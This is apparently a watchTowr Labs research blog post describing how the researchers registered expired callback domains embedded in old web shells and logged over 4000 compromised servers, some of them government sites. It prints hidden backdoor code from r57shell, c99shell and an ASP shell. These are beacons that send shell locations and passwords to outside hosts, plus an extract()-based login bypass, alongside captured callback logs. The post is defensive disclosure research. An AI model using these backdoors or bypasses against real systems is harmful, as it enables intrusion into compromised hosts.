https://labs.watchtowr.com/more-governments-backdoors-in-your-backdoors/ * watchTowr Labs * Home * The watchTowr Platform * Request A Demo * Vuln. Disclosure Policy By -- Benjamin Harris -- Aliz Hammond -- Jan 8, 2025 Backdooring Your Backdoors - Another $20 Domain, More Governments Backdooring Your Backdoors - Another $20 Domain, More Governments After the excitement of our .MOBI research, we were left twiddling our thumbs. As you may recall, in 2024, we demonstrated the impact of an unregistered domain when we subverted the TLS/SSL CA process for verifying domain ownership to give ourselves the ability to issue valid and trusted TLS/SSL certificates for any .MOBI domain. This resulted in significant Internet-wide change, with Google petitioning the CAB Forum to wholly sunset the use of WHOIS for ownership validation when issuing CA-signed TLS/SSL certificates. As always, idle hands, idle minds - it was never going to be long until our ill-advised sense of adventure struck again, and at this point, the only thing holding us back is our publishing schedule. [image-14] This time, our sense of adventure struck again, in the same vein of expired and abandoned infrastructure - but with a little twist. Today, we're taking you through our adventures through what we've affectionately termed - mass-hacking-on-autopilot. Imagine you want to gain access to thousands of systems, but don't feel like investing the effort to identify and compromise systems yourself - or getting your hands dirty. Instead, you commandeer abandoned backdoors in regularly used backdoors to effectively 'steal the spoils' of someone else's work, giving you the same access to a compromised system as the person who put the effort into identifying the mechanism to compromise, and performing the compromise of said system in the first place. Zero effort, same result - for the price of a domain. In our minds, we drew humorous parallels to the structure typically outlined as used by various state intelligence services - supposedly, an intelligence service officer will work with a criminal gang, and supposedly in exchange for immunity, will review the access obtained, or data captured, to decide what they want for themselves. This has felt very similar, except no-one has offered us immunity yet and we sometimes dream about hearing our research read back to us in court. Atleast there will be memes on the record, and an awkward explanation of a raccoon. Put simply - we have been hijacking backdoors (that were reliant on now abandoned infrastructure and/or expired domains) that themselves existed inside backdoors, and have since been watching the results flood in. This hijacking allowed us to track compromised hosts as they 'reported in', and theoretically gave us the power to commandeer and control these compromised hosts. Over 4000 unique and live backdoors later (the number continues to grow), we decided this research would never be finished, and it would be interesting to share the results in their current state. Note to the reader: We have intentionally obfuscated compromised hostnames (in most cases hueheuhueh), and our publishing of this research does not put any system at any additional risk. Across those 4000 unique and live backdoors, we saw some systems of interest: * Multiple compromised governments + Bangladesh + China + Nigeria * Compromised universities/higher education entities across Thailand, China, South Korea and more * and, of course, much much more (we've so far recorded over 300MB of logs to trawl through). As always, we're quick to remind everyone - we're not the first to track hackers for fun, we no doubt won't be the last. But, we have enjoyed continuing to exploit what truly appears to be a hugely underrated vulnerability class - abandoned and expired infrastructure - to basically give ourselves 'theoretical' free access to thousands of systems for the cost of a few (yet again) $20 domain names. Until next time :-)))))))) OK, But What On Earth Are You Talking About? Well, as we've seen with the breakdown of various crime groups and ransomware gangs - criminals are 'only human' too, and have a very similar ability to make seemingly (and with the power of hindsight) simple mistakes. Anyone who is well versed in the history of the 'hacker scene' will see this with a mix of fear and nostalgia - hackers have been hacking each other since the dawn of hacking, both for profit and simply for phun. There is a common belief (backed up with a significant amount of evidence) that hackers are, in general, pretty bad at securing networks. Luckily, h0no, 2l8, zf0, and ~el8 documented these games for archiving and reading years later. Web Shells As a brief journey through history, we want to give a bit of background (context is important, folks). So let's talk web shells. Web shells are - in effect - pieces of code that serve as backdoors deployed to web servers after successful exploitation, to allow the usual post-exploitation activities to take place. This is a fairly simple concept, and this blog post is not designed to be an ELI5 computer science course. Web shells come in various formats: * Bare-bones, simple shells - stuff that just executes a command, like the age-old * Fully functioning, all-bells-and-whistles shells + c99shell + r57shell + China Chopper (famously used by supposed China-based APT groups) + and thousands of other variations c99shell and r57shell will likely trigger flashbacks for many, as these infamous and prolific web shells were used by every script kiddie while learning how far they could take their Internet adventures (in their homelab, obviously, and never ever against JPL). Below is r57shell, published by http://rst.void.ru. Note that we pulled these screenshots off the Internet (and to be explicitly clear, they are not our own). [image-6] And here's another shell, c99shell (published by ccteam.ru), with similar features. [image-7] As you can see, these shells have everything a modern-day attacker could need, including: * Command execution functions * File management (delete, modify, upload, move, rename, etc) * Code execution functions * Self-removal functionality * Backdoor deployment (connect-back, bindshells, and more) * FTP bruteforce capabilities * SQL clients Literally, if you have a need, these shells can satisfy it. They're essentially improved versions of whatever you use for remote management in 2024 (but HTTP-based, and with better ACSII art). But They Have More However, what is less commonly known, is that these shells were often backdoored to allow hackers to hack hackers. [image-8] Here's an example. Within the bare, unmodified version of r57shell, we can find the following code: if (!in_array($addr[0], $serv)) { @print ""; @readfile ("http://rst.void.ru/r57shell_version/version.php?version=".$current_version."");}} echo '
'.ws(2).'!'.ws(2).'r57shell '.$version.''; echo ws(2)."".date ("d-m-Y H:i:s").""; This code generates an HTML tag with a zero size, fetching a file from 'rst.void.ru' (a domain owned by creators of the r57shell) to - apparently - send the current version string of the shell in use to the script maintainers. Seems innocent enough, right? In reality, though, this leaks the location of the newly-deployed web shell to the owners of rst.void.ru via the HTTP request referrer header - and so after hours of hacking away at your target, you have just handed over your newly-gained shell to someone smarter than you - the bigger fish, per se. [image-9] The food chain is alive, and you hopefully get the idea. I'm A Security Professional, I Always Configure Auth A lot of web shells come with password protection, allowing the attacker to restrict access to themselves only. Surprise surprise, though - a common feature of these backdoors is one that allows the original author of the web shell (in addition to the current attacker) to gain access to any host running the web shell with what effectively acts as a 'skeleton key'. A good (historic) example is the above-mentioned c99shell backdoor. While this is not novel, or new, and has been discussed for years - we are detailing for background context, with the hopes of painting a paint a clear picture. Take a look for yourself... $login = ""; //login $pass = ""; //password $md5_pass = ""; //md5-cryped pass. if null, md5($pass) ... @extract($_REQUEST["c99shcook"]); ... if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) { ... header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\""); header("HTTP/1.0 401 Unauthorized"); exit($accessdeniedmess); } } At first glance, this is pretty straightforward stuff. The login and password are hardcoded at the top of the code (intended to be customised by the attacker before deploying the shell) in the $login and $pass variables. Later on, a typical comparison with PHP_AUTH_USER and PHP_AUTH_PW performs authentication checks, exiting if they don't match. Fairly normal, right? But what about that innocent-looking @extract? Well according to php.net, that function isn't 'safe' for use on untrusted data. [image-10] The extract function is designed to effectively take input in the form of key/value pairs, and then use them to overwrite variables in the current scope. This means that a criminal targeting criminals can simply supply a c99shcook request parameter (GET or POST) containing a variable named md5_pass with a value set to their own password and login set to a username of their choice. This will then overwrite the hardcoded credential variables and allow the 'bigger fish' attacker to satisfy authentication. I Can't Believe It's Not Backdoored While this history was exciting for those of us that just enjoy living the halcyon days of an unpoliced Internet, we found ourselves in an uncomfortable position after .MOBI - would we ever get attention ever again? Again, throwing logic and time into the wind, we started on a new hypothesis. Wouldn't it be cool if we could play with some of our older toys, but * With a unique angle, * Call it research, * And just generally see what people are up to? As we alluded to at the start of the post, we have really fallen in love with abandoned and expired infrastructure as a way to (legally) wreak havoc on the Internet and work out just how broken everything is. As those of you who know the watchTowr team intimately will be aware, obsession is a very powerful force, and something of a theme amongst many team members - we regularly settle on beliefs, and will relentlessly find ways to prove our beliefs until either we find a new obsession, or we do indeed prove ourselves to be correct. Although the void.ru domain used in the r57shell backdoor is still being actively renewed by an "advertising agency" (lol??), we wondered - were they the only ones that had realized that hackers (and pentesters) very regularly download random code off the Internet, fire it at production systems and think they're Neo from the Matrix? cough linpeas.sh you absolute muppets cough Could we put ourselves in the middle of some of these backdoors, and add to our 'unofficial sysadmin' duties? Spoiler: the answer is yes. Adapting some internal code, we went on a mission - collect as many web shells as possible (regardless of language, target, or age), de-obfuscate any code that happened to be protected by the power of base64, and extract any unregistered domains likely used in some sort of callback function. We then hooked that up to the AWS Route53 API, and just bought them en-masse. Honestly, it's $20, and we've done worse with more. Friends - we registered 40+ domains and began spinning up infrastructure. Below are some examples: Shell name Referenced domain ~mysterious who knows~ 6634596.com marion001.php aljazeera7.com ~mysterious who knows~ alturks.com ~mysterious who knows~ caspian-pirates.org EgY_SpIdEr ShElL V2 csthis.com ~mysterious who knows~ dcvi.net NetworkFileManagerPHP drakdandy.net Shell [ci] . Biz emp3ror.com PHPJackal flyphoto.us Kodlama guerrilladns.com Predator h0ld-up.info dhie-Q fx29sh v1 06.2008 h4cks.in Nix remote web shell hackru.info iMHaBiRLiGi imhabirligi.com iMHaBiRLiGi nettekiadres.com Ajax/PHP Command Shell ironwarez.info ASPYi Ju Hua Ke Hu Duan < jbl86.com SyRiAn Sh3ll V7 library-ar.com RedHat Hacker ll4best.com r57shell localshell.net Locus7Shell Modified by #!physx^ locus7s.com Xing Wai -Hua Zhong -Xin Wang -Xu Ni Zhu Ji Ti Quan Zhuan Yong Webshell love-1-love.com Jie Bao unpack.vbs lpl38.com Chuan Shuo Zhong De Cao Ni Ma 4.0.asp odayexp.com Locus7s Modified c100 Shell precision-gaming.com c99 rootshell-security.net SimAttacker shellci.biz c99_w4cking templatez.org ~mysterious who knows~ w2img.com r57gentr dQ99Sh waterski21.com get.php yywjw.com With shiny wildcard TLS certs, an automatically configured Apache web server (and ahem, a correctly disabled logrotate instance ahem ahem ahem ahem we definitely didn't mess this up and lose a bunch of logs ahem ahem ahem ahem ahem) - we pointed our shiny new domains at our logging server, which did nothing other than log incoming requests before responding with a 404. Before the nerds in the audience start shouting at us, we have been very careful here to remain within the boundaries of the law - these requests were coming to us, we didn't manipulate systems into communicating with us, and we certainly did not respond with code to be evaluated. While we have a huge amount of data, and to walk through it all would be tedious for all involved, we wanted to highlight a few interesting things: Hello North Korea? What did we see? Well, first off, we saw someone cosplaying as Lazarus Group, aka APT37, aka North Korea. It seems unlikely that we've caught Lazarus in the act given the targets, but we're probably seeing some attackers who are repurposing the APT-level tooling used by Lazarus for their own ends. Hey, if SSLVPN vendors can call path traversal sophisticated, then a web shell meets the bar to be described as APT-level tooling. Like sandcastles at the beach are regularly described as architecture. Take a look at the following inbound requests: img2.w2img.com/midia_img/0f000cbW0BuDik7If87T3s.gif 202.146.[redacted] 485 "http://www.[redacted].com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" img2.w2img.com/midia_img/0f000cbW0BuDik7If87T3s.gif 35.206.[redacted] - 404 466 "http://[redacted].cn/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" img2.w2img.com/midia_img/0f000cegVDnfw03Y33y936.gif 103.170.[redacted] - 404 466 "http://www.[redacted].net/" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0" We saw thousands of requests like this, fetching a .gif image from our logging server. But what do they represent? Well, we were able to locate a sample of the backdoor generating these requests (it fell off the back of a passing lorry). It seems to be a version of one used by Lazarus back in 2020. If we take a closer look at the backdoor, and strip away some of the obfuscation, we can see the beaconing URL, being fetched as a .gif image from our server: .menu{background:url(http://img2.w2img.com/midia_img/0f000cegVDnfw03Y33y936.gif);} This is a line of CSS, specifying that the 'menu' style should fetch a background image from the given URL. On loading the page, the web browser will attempt to fetch the specified .gif file from the w2img.com server. The attentive administrators (us!) are watching the logs keenly, and notice this request - ultimately, having the effect of notifying us that the web shell has been deployed and accessed correctly, and leaking the URL to the panel on the compromised domain in the referrer. Note: Disclosing just the domain in referrers is a relatively recent browser change, and indeed attackers using older browsers were sending us full shell URLs. We saw over 3,900 unique compromised domains from this backdoor alone - clearly, this is a prolific tool. .GOV Is Always Near Taking a look through the results for high-value domains within our referrers, we the following stood out like a shining beacon: host# grep "\\.gov" referrers | sort -u http://www.[redacted].gov.cn/ https://fhc.gov.ng/ http://[redacted].court.gov.cn http://[redacted].gov.bd Uh, ok! fhc.gov.ng is the Federal High Court of Nigeria As we can see from the logs below, this was across 4 different backdoors--therefore, 4 different web shells were responsible for capturing this information (demonstrated with the 4 different domains the requests were sent to). [[redacted] 0000] http://img2.w2img.com:80/midia_img/0f000cegVDnfw03Y33y936.gif 175.176.[redacted] - 404 522 'http://www.[redacted].gov.cn/' 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Mobile/15E148 Safari/604.1' [[redacted] 0000] http://www.nettekiadres.com:443/imhabirligi.jpg 58.97.[redacted] - 404 3108 'https://fhc.gov.ng/' 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36' [[redacted] 0000] h0ld-up.info:80/index.html 103.111.[redacted] - 200 342 "http://[redacted].gov.bd/[redacted].php" "Opera/10.61 (Linux i686; U; en-US) Presto/6.1.88 Version/2.2" [[redacted] 0000] http://www.lpl38.com:443/post/http:/[redacted].court.gov.cn 117.136.[redacted] - 404 867 '-' 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Mobile Safari/537.36 EdgA/117.0.2045.53' The Cisco We Have At Home Naturally, we took a look through our dataset for any high-profile targets. We found the following, which made us do a double-take: img2.w2img.com:80/midia_img/0f000cegVDnfw03Y33y936.gif 110.66.[redacted] - 404 522 "http://www.ciscosoft.com.cn/[redacted].asp" ciscosoft.com.cn?! We were somewhat relieved to discover this bears no relation to the American software giant, Cisco. [image-11][image-12] Give Me Everything As we went through the data, we began to see another type of backdoor calling back - one that was far more explicit than loading an image file and relying on leaking the location in the referrer header. Specifically, we began to see functionality that would call back to actual logging functionality with specific information included within parameters. For example, the below (this is one of many such logic implementations): www.odayexp.com:80/sx/key.asp?url=http%3A%2F%2F[redacted]%2Frequest%2FCelebByConsortiaDayRiches%2Easp&p=[redacted] 43.230.[redacted] - 404 523 ".[redacted]:89/[redacted].asp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36 Core/1.116.454.400 QQBrowser/13.2.6135.400" This immediately piqued our interest - not only is the URL of the web shell being provided but there is also a "mysterious" p parameter included. What's being sent here? Well, let's first take a peek at the URL in the referrer. It is, once again, a web shell, but this time there's a password: [image-13] To figure out what that p represents, we need to take a look at the code behind the web shell. It's in ASP, and the relevant part looks like this: As you can see, it's lightly obfuscated. Once we strip out the obfuscation, we're left with the following: This code once again embeds an image, fetching it from our logging server at www.odayexp.com. We can see how the p parameter is composed - it's simply the UserPass variable. Surprise surprise - this is the password needed to log in to the web shell itself. So to put it all together - the attacker tried to secure their web shell installation, by requiring a password, but the web shell is backdoored to the extent that it transmits the password (in the clear!) to a logging server, odayexp, which is now owned by watchTowr. This attacker gets half marks for securing their web shell at least. But sending us the password in plaintext? Not really on the 'best practices' list. Another interesting thing is that, if we look back in our logs, we can again see the attacker supposedly modifying and playing with this function - but still sending the data to a system they don't control? www.odayexp.com:80/sx/key.asp?url="server.urlencode www.odayexp.com:80/sx/key.asp?url=http://192.168.66.134 www.odayexp.com:80/sx/key.asp?url=http://192.168.66.140/fk.asp www.odayexp.com:80/sx/key.asp?url=http://localhost/test/fuccck.asp www.odayexp.com:80/sx/key.asp?url=http://localhost/test/fuccck.asp&p=admin Alright then. Hack. The. Planet. While this has hopefully been a stroll down nostalgia lane for many (us, too) - our opinion is that as the Internet ages, and as we begin to truly understand the scope of impact for abandoned and expired infrastructure, we're likely to see problems like this continue. Previously, it was an expired domain previously used as a WHOIS server supporting a global TLD. Today, it is domains used in backdoors. What's next-- software update infrastructure and autoscaling cloud infrastructure for SSLVPN appliances? That would be crazy. We like to be semi-positive (actually this is a lie, but we do try) - it is somewhat encouraging to see that attackers make the same mistakes as defenders. It's easy to slip into the mindset that attackers never slip up, but we saw evidence to the contrary - boxes with open web shells, expired domains, and the use of software that has been backdoored. Perhaps the playing field is more level than we thought (Editor: or the intelligence spread far wider than expected?). While it's noteworthy that the shells we observed were predominantly skewed toward Chinese targets (likely a reflection of our sample data set), we are also reluctant to draw conclusions based on source IP addresses (given the ease of proxying). That being said, we note a strong skew from Hong Kong and China IP address space as the source of supposed attacker traffic (or perhaps sysadmins with some very curious choices for website management). So far we've found over 4000~ breached systems ([S:three:S] four of which are breached .gov systems). The number keeps going up - as you would expect. In a similar vein to our previous .MOBI research, our concern is always around the responsibility that we find ourselves left holding. For the same reasons that both this research and the .MOBI research came to exist, we would be guilty of the exact same careless disposal of infrastructure if we were to let these domains expire as their previous owners did. We're incredibly grateful for the support of The Shadowserver Foundation, who have agreed yet again to save us from our own adventures and to take ownership of the domains implicated in this research and sinkhole them. At watchTowr, we passionately believe that continuous security testing is the future and that rapid reaction to emerging threats single-handedly prevents inevitable breaches. With the watchTowr Platform, we deliver this capability to our clients every single day - it is our job to understand how emerging threats, vulnerabilities, and TTPs could impact their organizations, with precision. If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch. Previous post Cleo Harmony, VLTrader, and LexiCom - RCE via Arbitrary File Write (CVE-2024-50623) Next post Do Secure-By-Design Pledges Come With Stickers? - Ivanti Connect Secure RCE (CVE-2025-0282) watchTowr Labs (c) 2025 watchTowr Powered by Ghost